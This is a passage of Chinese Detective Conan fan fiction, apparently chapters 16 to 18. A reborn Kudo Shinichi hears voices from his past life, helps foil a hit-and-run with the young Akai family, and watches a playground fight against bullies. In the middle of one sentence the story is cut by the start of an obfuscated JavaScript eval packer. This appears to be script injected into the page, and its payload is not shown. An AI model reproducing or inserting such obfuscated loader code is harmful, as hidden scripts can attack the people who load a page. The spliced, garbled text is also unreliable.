然而,景光刚开口,他耳廓深处忽然炸开另一道声音——年轻、张扬、带着金属般的桀骜,像有人在空旷的室外嘶吼。“快跑……”还是“放开我”什么的? 幻听的声音和诸伏景光的声音一重叠,致使他哪个都没听清楚。后座陷在暗处,工藤新一眯起眼,仍看不清景光的唇形,只能凭经验去猜那句口型。绝对音感都像突然失灵,没了用武之地。 “那就当新一同意了。” 幻听像潮水一样退去,诸伏高明的话音随之清晰地落在耳边。 工藤新一抬手捂住脸——算了,去就去吧。 “……好吧。真的太麻烦了……原本还说好今晚去露营呢……”他小声嘟囔。 诸伏景光知道这话主要是给他说的,于是拍拍胸脯,夸张地做出一副大人有大量的态度,那双猫眼一弯,在昏暗车厢里闪出几分狡黠:“下次补上嘛。作为补偿,新一可得教我几招侦探的技巧哦!” “行行行。”工藤新一哭笑不得地应了,懒懒地斜回座椅里。若真把景光拐去当侦探,警视厅公安部日后怕是要少一把锋利的暗刃——可他已经舍不得让景光再去卧底就是了。 车子碾过减速带,轻轻一晃。 “没想到……会走到这一步……” 低沉的男声骤然贴着耳膜响起,像有人贴在车窗边叹息。工藤新一脊背一僵,整个人下意识坐直——这是赤井秀一的声音,他绝不会认错。 可据降谷先生和本堂小姐的说法,这句话是赤井先生在来叶崖“假死”前留下的最后录音,被琴酒截取。上辈子的自己并未亲耳听见,只是后来才得知内容。 作为代价的幻听……竟能播放他“前世”未曾听过的片段?还是说大脑只是把“知道曾经说过”的信息自行补完? 连那种被打穿肺叶、“呼哧呼哧”的喘息声都能一并还原吗? 如果这些声音并非虚构,而是真实存在过的回响—— 那他就更不能堵住耳朵。 多听一点,也许就能截获一条上辈子错过的情报。 他悄悄把车窗按下一条缝,夜风灌进来,带着草叶与尾气的味道。 为了掩饰“幻听”的新毛病,工藤新一只得全程装睡。大概是真累了,假寐半途竟真跌进梦里。再睁眼时,车窗外已换成东京深夜的霓虹洪流。 前座,工藤优作与诸伏英拓正低声聊着往事,话题像一条温柔的暗河,时不时绕到工藤新一身上。 “如果不是新一,真不敢想象会怎样。”诸伏英拓嗓音压得极低,像怕惊醒什么。 那段险些家破人亡的旧事只被轻轻碰了一下,优作便克制地收回探究的指尖,顺势把话题带远:“……是啊,这孩子总让人惊讶。对了,你们在东京待多久?” “一个月左右。”副驾上的诸伏英拓答完,目光却落在窗外的车流,“说来奇怪,东京的交通警力一向这么密集吗?这一路哨岗多得像戒严。” 优作想了想:“你们来的前一天,出了个专门撞高中女生的肇事逃逸犯,警方应该是加强巡逻,防止他再作案。” “是那个专挑‘不良’JK下手的?”后排传来一个带着倦意的哈欠。 “消息还挺灵通。”优作透过后视镜瞥他一眼,“哪儿听来的?” 工藤新一揉着眼睛,笑得一脸无辜:“广播呀。” 话音未落,一阵警笛骤然在他右耳炸裂。 工藤新一快速地偏过头,中止工藤优作的探寻。可故作惊讶的语气词还没说出口,他忽然发现,窗外别说警车,连私家车都没几辆,只剩一辆灰色捷达在应急车道蜗牛般地爬行。 又是幻听。工藤新一撇撇嘴,在心底耸肩,已经习惯了。要是哪天科学能把这技术解剖清楚,他第一个投资——做成耳机,绝对沉浸式,秒杀市面上所有环绕声。 “怎么了?”诸伏景光凑过来,也往窗外看。他倒是仍旧精力充沛,上挑的猫眼晶晶亮,倒映着街灯的光。“这辆车开得也太慢了。遇到麻烦了吗?”他疑问道。 工藤优作与工藤新一几乎同时侧目。灰色捷达像一条疲惫的鱼,在应急车道缓缓游弋。车身蒙尘,泥点斑驳;车窗覆了一层灰黑纱网,把内部切成无数模糊的方格,但仍能依稀辨出——驾驶座上只有一个人影。 可疑点就在于此。 夏夜气温宜人,既不必开空调,也无需紧闭车窗;可那名驾驶者却戴着渔夫帽、墨镜、口罩,在密不透风的纱幕后沉默前行。 不合时宜的装束、拒绝窥视的纱、诡异迟疑的车速——在侦探眼里,整辆车已被打上猩红的“危险”印章。 工藤新一收回视线,目光越过挡风玻璃。前方不远,两名高中女生正倚在路灯下说笑,制服长裙被夜风掀起波纹,像两朵无意飘到车道边的素色花朵。 不会这么巧吧……男孩皱眉,又向后看去。那辆车仍然慢慢地行驶着,因而被甩在后面。挡风玻璃不会装网纱,从这里能清楚地看见驾驶室的男人。 他一直看着那两个“不良”的高中女生。 “优作哥。”工藤新一不敢赌,无论这男人是否是那个肇事犯,他都要先有所准 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前街,路灯的光被梧桐切割成碎片,洒在人行道上,像一地碎玻璃。长发JK的裙摆掠过光斑,百褶裙的折角在风里轻颤。她挥手和友人告别,耳坠晃出一道银弧,笑声脆生生的,像刚开封的苏打水。 斑马线的白漆剥落,露出底下黑黢黢的沥青,像一道未愈的伤疤。 那辆灰色捷达动了。 引擎的咆哮轰然炸开,涡轮泄压阀发出尖锐的嘶鸣,像恶魔在磨牙。车头灯猛地亮起,两道光柱劈开夜色,直刺向女孩的背影。轮胎碾过积水,溅起半月形的水花,水珠在路灯下闪着血一样的光。 “危险——!” 工藤新一的喊声被引擎撕碎,声带几乎扯出血腥味。他冲刺时带起的风掀动额前刘海,露出冷汗浸透的发际。运动鞋鞋底与柏油摩擦,发出类似紧急刹车的尖叫。 十五米、十米、五米—— 面包车雪亮的远光劈开夜色,喇叭声浪像刀锋般斩向捷达。可灰色轿车已化作一道离弦的铅灰箭矢,车头灯凝成两束炽白死光,将女生牢牢钉在斑马线中央。 世界骤然失声。 光瀑倾泻,女生的影子被拉得瘦长,像一截折断的芦苇,在滚烫的沥青上颤抖。她本能地抬手遮眼,指缝间泻出的全是刺目的亮——亮得她连呼吸都忘了,双脚灌铅般生根。 轮胎撕扯地面的尖啸拔地而起,空气被挤压成扭曲的薄膜,嗡鸣盖过了心跳。 “晴子——!” 另一名女生的尖叫划破凝滞,像玻璃碎裂的锐响。 一阵无力和愤怒骤然落在工藤新一身上。那车已经逃之夭夭,虽然他记下了几位车牌号码,可人命,不是破了案、抓了人就能挽回的。 他仍第一时间拨通急救与报警电话,声音短促而冷静。挂断后,他冲向斑马线,鞋底踏碎积水,心跳乱得几乎要撞断肋骨—— 却看见晴子好端端地坐在路边石阶上,长发凌乱,却只是裙摆沾了泥。 一个陌生男人半跪在她身侧,掌心覆在她颤抖的肩头。路灯把他投下的影子拉得很长,像一道突兀的屏障,将危险隔绝在外。男人的呼吸略显急促,衣袖被磨破,手臂上渗出细碎的擦伤,血珠在昏黄的灯光下像碎红的珊瑚。 “小姑娘,有哪里受伤了吗?”他低声问,嗓音沙哑却温柔,像深夜电台里缓缓流淌的大提琴。随后抬头,朝赶来的另一位女生道,“你们是朋友吧?快过来陪陪她,再叫救护车、报警。诶,你们也是同伴吗?” 工藤优作与新一快步靠近。那人恰在此时侧过脸—— 那男人头发略长,留着胡须,眼睛是温和的湖蓝色,带着些上挑的活泼感。这模样工藤新一太熟悉了—— 赤井务武。 “我们只是路过。”和重生的工藤新一不一样,工藤优作自然是不认得赤井务武的。他礼貌地点头致意,目光掠过男人带血的指节与磨烂的袖口:“刚刚是先生您救了这位小姐?” 赤井务武微微一笑,那笑意像夜风拂过湖面,柔和得几乎能听见水声:“不值一提。” 低醇的嗓音干净而温暖,与工藤新一记忆里被浓烟与火焰灼烧后沙哑粗砺的声音截然不同。 刚刚,在工藤新一大喊“危险”时,赤井务武刚好带着孩子们从巷口出来。他的长子眼尖,率先发现疾冲而来的车辆。电光火石间,男人猛蹬地面,整个人像离弦之箭扑了出去——他一手揽住女生的腰,一手护住她的后脑,用后背缓冲,落地时仍蜷成弧,把女孩牢牢扣在怀里,这才搞得浑身灰尘与擦伤。 “老爸,你怎么样?” 一个正处在变声期的少年声音传来,工藤新一猛地回头。 面前的少年穿着一身休闲的夏装,外面套了一件夸张的牛仔外套,双手懒洋洋地插在短裤裤兜里,凌厉的绿色眼睛尚且有着孩童的圆润,像是个不务正业的嘻哈少年,和多年后那个冷静坚毅的可靠男人简直判若两人。 幻听在此时趁虚而入—— “谁放你来前线的!降谷零没拦住你吗!” 那是前世的赤井秀一,第一次也是最后一次对他的小搭档怒吼。 17. 相得 回忆中的画面与眼前尚稚嫩的男孩重叠,工藤新一不由自主地迈了一步,嘴里呢喃着:“赤井先生……” 十二岁的赤井秀一是个名副其实的酷哥,也没有十几年后FBI王牌式的敏锐。他没听清这个瘦小的小男孩说了什么,懒得理他,回头向巷子里招呼:“没事了秀吉,出来吧。” 现年八岁的太阁名人先生怯生生地从巷子里走出来,怀里抱着一个男士手包,应当是赤井务武刚刚救人时顺手塞给他的。粉雕玉琢的混血小男孩,头发软软地垂在额前,眼睛完全是他父亲的翻版。 工藤新一怔怔地看着那双眼睛,然后下意识把面前两双有些相似的眼睛对比了一下。景光的眼角也微微上挑,却像春夜湖面漾开的涟漪,弧度柔和得多…… 等等,两双眼睛? 诸伏景光不知何时跑来了肇事现场,往后一看,诸伏一家也都过来了。 “今天的经历,”诸伏高明走过来,把水递给工藤新一,冰凉的塑料瓶身立刻在他掌心蒙了一层雾,“对小孩子来说未免太丰富了。”他又转身,把另一瓶未开封的葡萄汁递给仍发抖的长发女生。 甜的东西总能让人暂时忘记苦味。晴子接过瓶子,哆哆嗦嗦地旋开瓶盖,清甜的香气终于令她后怕地哭了出来。 赤井务武的目光在诸伏一家之间礼貌地掠过,像锋刃扫过刀鞘,带着疑惑,却没有深究。他随即转向工藤新一,唇边浮出一丝极浅的笑纹,语气郑重:“Bouya,你反应够快。要不是你,等我察觉危险,恐怕已经迟了。” 工藤新一不自觉往赤井秀一的方向倾了半步,鞋底在粗粝的水泥上蹭出一声轻响。他硬生生把步子收回来,像把下意识的亲近按回心底。被赤井务武当面夸奖,他下意识地并拢脊背,声音低而快:“哪、哪里,您太客气了。” 若是别人夸他,他大概会扬起眉梢,半真半假地回一句“我毕竟是个侦探”。可眼前这位是赤井务武——上一世直到全面收网前才重新浮出水面的人、赤井先生的父亲、与黑衣组织对弈的大前辈。他与“江户川柯南”的交集薄得像一张未写字的便签,连寒暄都隔着年代。 远处,警笛划破黄昏,红□□交替闪烁,像把整条巷子浸进滚烫的霓虹。最先冲下车的是佐藤正义,后头紧跟着目暮十三和一位扎高马尾的女警。年轻的目暮警官步子最急,警帽檐被风掀起,几乎是小跑着冲向那两个仍惊魂未定的高中女生。 工藤新一饶有兴致地挑了下眉。目暮十三——如今还没发福、没留那撇小胡子,轮廓锋利得像新磨的刀。他先让女警去安抚受害者,自己则微微弯腰,礼貌地询问旁边那位女生,隔着三四米也能听见他声音里的克制:“小姐,请问您的名字?” 侦探的直觉在工藤新一耳边敲了一下。他几乎脱口而出:受害者“晴子”的朋友,该不会正好叫“绿”吧? 下一秒,女生回答:“我叫森川绿。” ——果然。工藤新一在心里轻轻“啪”地打了个响指。二十年后,她已经成为了目暮绿夫人;而今日被赤井务武救下的长发女生晴子,正是上一世在那场车祸里香消玉殒的女孩、她的朋友。 命运像一条被突然改道的河,今日拐了个弯,把原本沉入水底的石子冲上了岸。 上辈子没有工藤新一、也就没有赤井玛丽收到的“威胁”短信,赤井一家早就去羽田家拜访、去周边游玩离开东京了,因此在原本的时间线里,这事件发生时,也并没有人奋不顾身地冲出来从车前救下她。 但工藤新一清楚,在这件事里,他并没有起到什么关键作用。世界上的一切事物都是相互关联的,他只是做了那只蝴蝶,扇起的飓风恰好做了件正确的事而已。他早就过了那个做出一点成绩、哪怕只是巧合也要沾沾自喜的时期了。在这件事上,他只是庆幸,并不为之自豪。 “诸位都没有看清犯人长相,对吗?”佐藤正义把笔记本摊在臂弯,目光先后掠过工藤优作与赤井务武,“车牌号呢?” 夜色像被墨汁冲稀的底片,街灯的光晕在潮湿空气里晕开。赤井务武当时只顾夺命救人,只记得零星的几个数字,眉心仍残留着那一瞬间的紧绷。可工藤“父子”早就察觉苗头,视线一直追着那辆车。 工藤优作微微颔首:“足立-315——” “足立-315,94-14。”一个软糯却笃定的童声与他重叠。 众人循声望去。赤井秀吉从哥哥背后探出半张小脸,头发被汗水黏在额角,眼睛却亮得像两盏刚擦亮的灯笼:“对吗?” 工藤优作失笑,单膝蹲下,右手平伸,掌心向上,像邀请一场秘密仪式:“完全正确,小朋友。Give me five!” “啪!”秀吉踮起脚,肉乎乎的小手拍在优作掌心,奶声奶气却字正腔圆:“Fantastic!” 工藤新一是知道他过目不忘的记忆力的,接受得非常良好;佐藤正义就有些惊奇了:现在的孩子是不是都聪明得过分了? 先是机智应对银行抢匪的工藤新一、再是洞察危险的那个绿眼睛少年,又来了一个过目不忘的四五岁小孩? 佐藤正义有点茫然地看着赤井秀吉,又忍不住看了看工藤新一旁边的诸伏景光和不远处帮着妈妈安慰受害人的诸伏高明。这两个孩子应该……应该属于普通孩子的范畴了吧。 他又想起自己家里和工藤新一差不多大的女儿美和子,衷心希望自家女儿的水平才是大多数孩子的水平——否则他都不敢想,美和子长大后会面对多么艰难的社会生活。 “警部,可以追车了吧?” 目暮十三一路小跑而来,皮鞋踏在夜露微湿的地砖上,嗒嗒作响。他的眼睛在霓虹灯下亮得像两颗刚擦过的铜扣,精神得仿佛刚灌了整壶黑咖啡。 佐藤正义从短暂的走神里抽身,抬手在便笺上唰唰写下两行指令,啪地合上本子:“立刻通知交通机动队,把足立-315·94-14的行驶轨迹锁死。今晚收网概率九成以上。” “是!” 目暮十三脚跟一并,敬礼时指尖几乎碰到帽檐,随后转身冲回警车。车门“砰”地关上,警笛短促地呜了一声,像一支离弦的箭。 森川绿半跪在朋友身旁,掌心仍覆在对方颤抖的手背上。她抬眼,目送那辆警车尾灯划出红色弧线,胸口忽然没来由地一紧。夜风掠过,她耳尖悄悄烧起,像被谁偷偷点了一支火柴。 “救护车一到,我们就收队。”佐藤正义转回身,把警察手册翻到空白页,钢笔帽在指尖一转,“届时还请两位先生到厅里补份笔录。——恕我冒昧,您贵姓?” 佐藤正义的目光稳稳落在赤井务武身上,工藤新一和赤井秀一也看着他。工藤新一心想:务武先生不会和当初公车抢案的赤井先生一样,用真名吧? 虽说无论用不用真名都有道理啦……自己就是那个“原因”的“神秘邮件先生”毫无自觉。 “伊斯特伍德。”赤井务武飞快编了个假名,“克林特·伊斯特伍德。” 诸伏景光当了真。他先歪头打量着赤井务武,又回头瞧了瞧两位迷你版“伊斯特伍德”,认真得像在做学术研究:“你们是英国人吗?” 秀吉想起出门前老妈千叮咛万嘱咐“少说话、多卖萌”,果断把嘴抿成一条拉链。赤井秀一则把“酷哥”人设焊在脸上,反问:“何以见得?” “刚才小弟弟和优作先生击掌的时候,喊的是‘Fantastic’呀。”诸伏景光掰着手指解释,“我哥哥说,英国人表达‘好耶’时最爱用这个词,像什么‘Brilliant’、‘Lovely’一样,都是他们的快乐口癖。” 佐藤正义正好端着警察手册路过,听见这句,笔尖“啪嗒”一声在纸上戳出个黑洞——很好,这里果然不存在“普通的小孩”。 赤井秀一眼里闪过一分惊讶,但仍然一副冷面酷哥的表情:“说得不错。不过你猜错了,我们并不是英国人。” “是法国来的游客。”赤井务武刚好对着佐藤正义说。 “噢……”诸伏景光像被没收了糖果的小松鼠,耳朵都耷拉下来,但还是礼貌营业,“欢迎来日本玩!” 知晓一切的工藤新一默默拍了拍景光的肩膀。他其实是说对了的。只是这件事暂时不能说出实情,只好委屈景光日后再收获应有的肯定了。 不过好不容易逮到机会,他一定要和小时候的赤井两兄弟多聊几句——主要是想知道赤井一家还能编出什么——于是工藤新一问道:“那哥哥你叫什么名字呀?我叫工藤新一。”他笑得天真无邪。 “我叫诸伏景光哦。”景光也自报名姓。 赤井秀一僵了两秒钟,假装不耐烦地说:“休斯·伊斯特伍德。至于我弟弟,叫他吉米就行。” 赤井·吉米·秀吉孩子气地撇撇嘴:他才不想叫这么大众的名字。可他抗议无效,只能鼓着腮帮子用眼神发射“瞪着”哥哥。 工藤新一把一切尽收眼底,有点想笑。果然,虽然反应速度很快,但赤井先生也不是从小就会面不改色编瞎话的,都是成人世界的荼毒。 “……我们不是已经说了很多次,研究还不稳定,不能用人体实验。” 是幻听,应该是宫野艾莲娜的声音。 “我们给这种梦幻般的药物取名银色子弹,可现在,它却成了银色的恶魔。” 那是宫野夫妇刚加入组织不久,就与高层出现致命分歧的时候——他忽然明白过来,然后把这两句话悄悄钉进脑海。 银色子弹从来都没有真正制成,半成品拿去做了人体实验。而灰原再继承父母研究、研发的APTX-4869就更加偏离“银色子弹”的初衷,但又不同于半成品,反倒成了第三种未知的存在。 前世他们缴获组织药物研发资料时千钧一发,他们抢出的资料箱在火光中烫手。局势紧迫,工藤新一几乎把整箱东西囫囵塞进灰原怀里,自己连目录都没翻完。于是关于“银色子弹”,他只知道一个被善意点燃的起笔,其余章节全被黑暗吞噬。如今,那些被遗落的页脚,终于在幻听里露出一行字。 “你们也是游客?”赤井秀一问。 “对,是家庭旅行呢,”工藤新一不再琢磨此时还没影儿的银色子弹,“说起来,休斯哥哥,你们也是家庭旅行吗?” 赤井·休斯·秀一:“不,我们……” “因为休斯哥哥你们和伊斯特伍德叔叔身上都有好闻的香水味,像玫瑰花。”工藤新一假装闻了闻空气。 其实他只能闻见面前赤井秀一身上沾染的香气,赤井务武和秀吉身上有没有纯属瞎说。 赤井秀一沉默了。这让他怎么说?现在妈妈的存在最好隐藏起来,可如果他说并没有母亲参与旅行,怎么解释他们父子三人身上有同一个女人的香水味?就算父亲可以用会情人之类有损道德的理由作借口,但再怎么有损道德,也不至于带两个儿子去见情人吧? 赤井务武打了个寒噤,觉得有臭小子在编排他。 工藤新一总算明白,为什么长大后的他们总热衷于吓唬自己——原来这种把人攥在掌心、看对方眼神忽闪忽闪的恶作剧,确实会上瘾。可他暂时不打算掀桌,就笑眯眯地帮忙兜底:“啊,大概是我闻错啦——是酒店里的熏香才对吧。” 赤井秀一暗松一口气,冷着脸附和:“嗯,香味是有点重。” 心里却忍不住犯嘀咕:这小鬼……说话奶声奶气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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救护车此时也终于到了,森川绿陪同好友上车。工藤新一趁机猫着腰,悄悄拉了拉工藤优作的衣角,等他蹲下来,附耳道:“让伊斯特伍德先生他们回去吧,我们去做笔录,‘吉米’弟弟都困了。” 优作侧头,看见不远处赤井秀吉果然揉着眼睛,像只困倦的小猫挂在哥哥手臂上。他收回视线,屈指在新一鼻尖轻轻一弹:“说得好听,其实是你自己不想去医院吧。” “本来就没必要嘛……”新一捂住鼻尖,小声嘟囔,“今晚又是杀人案又是飞车肇事,我和景光都电量见底了——” “这可不是我能决定的——你养父母肯定坚持让你去检查。”工藤优作抬眼,看着几步之外的诸伏夫妇。 工藤新一也知道这一点,肩膀瞬间垮成一只漏气的皮球,撇撇嘴,认命地叹了口气。 “而且,你不想让那位伊斯特伍德先生去警视厅做笔录?”工藤优作挑眉,“还有,他们真是法国人?我看未必。景光君的猜测很可能才是真的。” 工藤新一打着哈哈,避开“法国人还是英国人”的问题:“吉米弟弟那么小,不好这么奔波嘛……” 工藤优作笑眯眯看他:“去医院,或者告诉我你为什么这么关注他们父子三人,我就解围不让‘伊斯特伍德先生’去警视厅做笔录——这点小事我还是可以拜托佐藤警官的。” “……” 工藤新一忍气吞声,乖乖去医院了。 急诊室的白炽灯冷得发蓝,护士把听诊器贴在他胸口时,他几乎能听见自己委屈巴巴的叹气声。值班医生翻完血常规、心电图,最后只给出一句官方又敷衍的结论——“睡眠不足,体质偏虚,回去多喝水”。 诸伏加奈听完,漂亮的眉毛拧成蝴蝶结:“就这样?” “就这样。”医生耸肩,仿佛全世界的疑难杂症都能用早睡解决。 于是,深夜十一点,工藤新一被“押”回酒店。走廊地毯厚得像云海,吸走了所有脚步声,也吸走了他最后一丝力气。房门“嘀”地一声刷开,他连拖鞋都懒得找,外套随手往椅背一搭,整个人直挺挺扑向大床。 他把脸埋进软绵的枕头里,发出一声半是投降半是享受的哼唧。 诸伏景光戳戳他:“新一,去洗漱啦。” 工藤新一蹭了两下被子,难得赖着不动。他今天实在是太累了,而且幻听和全身疼痛都还没结束,直恨不得当即睡死过去。 “新一——”诸伏景光继续戳他,“起码刷了牙再睡嘛。” “啊——!” 一道凄厉的女人尖叫声在工藤新一耳边炸开。他狠狠地激灵了一下,几乎从床上弹起来。 “为什么,克莉斯……” 克莉斯?这个声音是……贝尔摩德的本音! “新一?”诸伏景光疑惑地看着他。刚刚还满脸不情愿的工藤新一此时却换上了一副严肃认真的表情。 “我去洗漱。”工藤新一找出拖鞋穿上,匆匆进了卫生间。 “克莉斯,”幻听还在继续,“克莉斯……” 贝尔摩德的声音呈现出绝无仅有的复杂与茫然。这一声“克莉斯”,似乎只是无意识的呢喃,异常复杂地流露出茫然的恨意和无法遏制的痛苦。 什么情况? 工藤新一掏出二十年后的红色手机,在备忘录里打下:“Vermouth & Chris?” 他忽然想起国中毕业和兰去纽约那次,化妆成莎朗的贝尔摩德举着伞,在百老汇门前和有希子说起她“死去的丈夫”和她“叛逆的女儿”克莉斯……那真的只是个为了丰满莎朗·温亚德身世背景、完全捏造的一个“故事”吗? 贝尔摩德、莎朗·温亚德、克莉斯·温亚德……除了伪装身份,难道还有其他的联系吗? 18. 益彰 等到贝尔摩德的声音完全消弭,工藤新一火速洗漱,随后把自己扔在床上。床头灯被调成最暗的琥珀色,像一湾温暖的余烬,轻轻覆在他眼皮上。他几乎刚碰到枕头,意识就像漏了电的钟表,秒针一格一格慢下来。 就在彻底坠入黑暗的前一秒,他听见温柔熟悉的女声轻轻哄着:“睡吧,新一,梦安。” 那声音像一条细软的丝带,从记忆深处滑出来,轻轻绕住他的耳朵。温柔、带着一点点俏皮的尾音——是有希子的声音。 男孩的睫毛在枕头上轻轻颤了颤,嘴角不自觉地扬起一个极小的弧度。下一秒,他的呼吸便沉入安稳的节拍,像被潮水带走的贝壳,悄无声息地滑进深海般的梦里。 然而,工藤新一这晚做的梦没一个正常的。真是辜负了有希子的“梦安”。 也许是日有所思夜有所梦,总之先梦到的是贝尔摩德。但后面发生的一切都没了逻辑。梦的开头,贝尔摩德扮成莎朗的样子,抱着诸伏景光一起跳楼。被跳的楼在他们跳下去的时候忽然变成了悬崖,而诸伏景光在此时张开了一道滑翔翼,脸上戴着单边眼镜,把贝尔摩德扔给不知从哪冒出来的阿笠博士就飞走了。 在梦里的工藤新一都大为震憾。只不过他震憾的点在于诸伏景光竟然用九岁孩子的身体穿上了怪盗的滑翔翼。 然后他看见成年的赤井秀一在直升机里架狙,一枪打在了正在梦里看戏的服部平次身上,服部平次反手抽出个试管把子弹装进去,随后立马被一身灰色西装的降谷零夺走,说“这可是波洛的新品”。而工藤新一一阵天旋地转进了个巨大的迷宫,被从天而降的工藤优作拍了拍肩,说:“你忘了你是个英国人了吗?”工藤新一大声说:“荒谬,我明明是成年人!”优作却不理,再揪着他要去医院,旁边的诸伏高明举着个巨大的创可贴拍在新一头上——天知道他又是哪儿冒出来的——然后琴酒阳光开朗地大笑着开着灰色捷达撞上他。 工藤新一直接吓醒了。 这都什么乱七八糟的。他在床上深呼吸,努力忘掉这离奇的梦——他可不想以后一看见灰色捷达就想起开怀大笑的琴酒。 他坐起身,一个小东西随着他的动作骨碌碌滚落到地上。他弯腰捡起,恰好诸伏高明经过门口,赶紧趁他不注意把那东西掖进被子里。 “总算醒了,”诸伏高明站在门边,只看到他捡了什么东西,没多留心,“中午叫了送餐,一会儿就到,待会儿出来吃饭。” “好。”工藤新一点点头。等他走了,才从被子里把那东西拿出来:是之前他故意落在宫野诊所引起注意的APTX-4869药盒。 今天是他们去宫野诊所的两天后,药盒自动“刷新”回来了。只是里面的药还没到冷却时间,得明天晚上才能再次出现。 工藤新一临时找了个网兜,把药盒放在里面然后挂在胸前,塞进衣领里。 药盒如今忽然回来,玛丽女士那边必然会有动作。他一边去洗漱一边想着。按照她的效率,估计现在已经查到了白鸠制药倒闭的背后有组织的手笔,就是不知道查到什么程度了。 那么接下来,他就等着赤井玛丽联系他就好。以她的能力,不会想不到她的联系方式泄露与宫野艾莲娜有关,那么就也不会想不到,这忽然消失的、刻着莫名其妙“APTX-4869”字样的小盒子也与他有关。 估计现在在赤井玛丽眼里,他就是一个来历不明、不怀好意的灰色地带情报人员吧——嘛,听起来有点像安室先生。 工藤新一伸了个懒腰,出门吃午饭去了。 今日天公没有继续作美,一改先前晴空万里的天气,密密的云笼罩了天空。不过空气倒不潮湿,只是单纯的一个多云天罢了。 诸伏夫妇俩和高明今天要去美术馆参观,诸伏景光没什么兴趣,和降谷零约好了一起玩。工藤新一也对美术馆没兴趣,左右没什么事,就和诸伏景光同去。 “一会儿就可以把这个送给zero了,”诸伏景光手里拿着昨天打枪赢来的向日葵挂件,“也不知道他会不会喜欢。” “会的,”工藤新一打着哈欠,“朋友送的东西,怎么都会喜欢。” 诸伏景光点点头,然后忽然想起了什么,问道:“你昨天晚上做噩梦了吗?” “没有啊,怎么了?”工藤新一回答。虽然那梦确实诡异,但说实话,确实算不上噩梦。 “我早上起来的时候,听见你在说梦话,”诸伏景光说,“什么……‘kid’、‘成年’之类的。” 工藤新一踢了一脚脚边的石子——他怎么现在还多了说梦话的毛病了! 被景光提起了梦,他就不由自主地想起了跳楼的贝尔摩德、穿着基德装的诸伏景光……还有开捷达的狂笑琴酒。 “我不记得了。”工藤新一果断摇头,试图忘掉以上那些诡异的画面。 他们就这样有一搭没一搭地聊着天,慢慢往小公园的方向走。虽然是暑假,但今天是工作日,公园里没什么人,只有些孩子的嬉闹声三三两两。 然而一片祥和的公园里,忽然传出些不和谐的争执声,就像是演奏中的提琴忽然绷断了一根琴弦。 一个熟悉的声音带着些许愤怒:“你们有完没完!” 是零君?工藤新一和诸伏景光对视一眼,朝着声音来源处快步跑过去。穿过弯弯曲曲的石子路、拨开半人高的灌木丛,他们看见降谷零正半弯着身子,一手护在耳侧,一手前伸,像一只摩拳擦掌的小豹子一般与面前七八个大些的男孩对峙。 这起手式怎么有点眼熟。工藤新一心想。 “怎么,今天没有帮手了?”为首的一个体格壮实的男孩揉着拳头,“嘁,跟你一样的异类,眼睛绿得跟个饿狼似的。” “就是。”他身后的小弟们跟着说。 诸伏景光当即就要冲出去给朋友撑腰,工藤新一按下他,示意先别冲动,暂时观察下情况,但实际上已经把手按在了足球腰带上蓄势待发。 降谷零虽然自认与赤井秀一不合缘,但他那天到底帮了他,多少算个交情,于是反驳:“说别人是狼,也没见你不像头猪!” “你!”那个壮实男孩气急,脸涨得通红,“你个异类!野种!你根本不配和我们上一样的学校、读一样的书!杂种!” “我是日本人!”降谷零仿佛被触了逆鳞,直接冲出去撞在他身上。那壮实男孩没有防备,被撞在地上,大声招呼小弟们围攻降谷零。 降谷零也不傻,没自大到认为自己能一个人打过这四五个高年级生,根本不恋战,第一时间找机会逃跑。可惜他们人多势众,一时陷入了困局。 降谷零蜷起来,双手交叉护在脸前,时不时瞄准这些人的薄弱处踢两脚。不过他双拳难敌四手,总有疏于防范的时候,那个壮实男孩已经站起身,拿着一根地上捡的木棍朝着降谷零肩膀砸去。 “Zero!后面!”诸伏景光跑了出来,毫无章法地也冲向“包围圈”,那几个高年级一时愣住了,居然真让他闯了进去。但持棍的壮实男生可没停手,眼看就要砸中降谷零—— 一颗足球直直撞上那根木棍,顺便把那小头目又撞翻过去。 工藤新一大喊:“跑啊!” 降谷零和诸伏景光立马起身往外跑。然而这一嗓子不仅喊醒了他俩,也喊醒了刚刚愣住的那些小弟。五个人仗着人高马大,又把他们围住。无法,工藤新一一咬牙,也只好跟着加入混战。 “他们是什么人啊,零君!”工藤新一灵活的躲开一个人的拳头,顺便踢了一脚回去,胸前装着药盒的网兜从领口飞出来,随着他的动作甩来甩去。 “高年级的。”降谷零简洁地说,胳膊挨了一下,反手锤了过去。二打一的情况下,他虽然落在下风,但起码有来有回。 诸伏景光目前是最招架不住的一个:他不像降谷零从小摸爬滚打一路打架到大,也不像工藤新一是个返老还童的假小孩、没去过夏威夷、没受过公安头子和FBI王牌的专门训练、没跟犯罪分子打过游击。他是个相对意义上的“乖孩子”,在此之前,甚至没真正和什么人起过冲突——哦,之前那两个人贩子不算。 “这两个小弱鸡也是你帮手?”为首的男孩狞笑,嗤了一声,“我还以为来了什么高手呢,真是不自量力。” “以大欺小,以多欺少,你倒是颇有自知之明。” 赤井秀一戴着鸭舌帽,从灌木丛旁边走过来。他穿着和昨晚一样的牛仔外套,一边慢慢地走过来,一边把袖子往上挽。等到一切就绪,他右腿后撤,双手如剑,摆出了截拳道的起手式。 工藤新一忽然想起刚刚降谷零的那个起手式——正是一个不标准的截拳道起手式……零君自己悟出来的?还是…… “嗯?”赤井秀一歪了歪头,挑衅地看他们。 头目显然认出他来了,噎了一会儿,左右看看,似乎是觉得自己人多势众,色厉内荏地大喊:“愣着干什么,上啊!” 两伙人再次混战到一起。然而打着打着,工藤新一莫名被排除出了混战区。他眨眨眼,疑惑地看着仍在打架的诸伏景光、降谷零和赤井秀一。 等等,是谁把他推出来的? 降谷零畅快地踢了一脚头目的大腿,趁着没人反应过来又给了旁边的小弟一个肘击。 他们怎么打得很开心的样子…… 诸伏景光似乎被打开了什么奇怪的开关,仗着自己灵巧,也不主动攻击,就躲来躲去地给那帮霸凌者捣乱,这绊一脚、那拽一下。 这样真的好吗? 赤井秀一本就与那些高年级的霸凌者年纪相当,又因为有英国血统,长得比较高大,几乎用气势就能打败一堆人。更不用说他从小练起来的截拳道。没多久,那些高年级们就连滚带爬地跑了。看样子心理阴影不小,短时间内都不会找降谷零麻烦了。 工藤新一眨眨眼:“……打完了?” 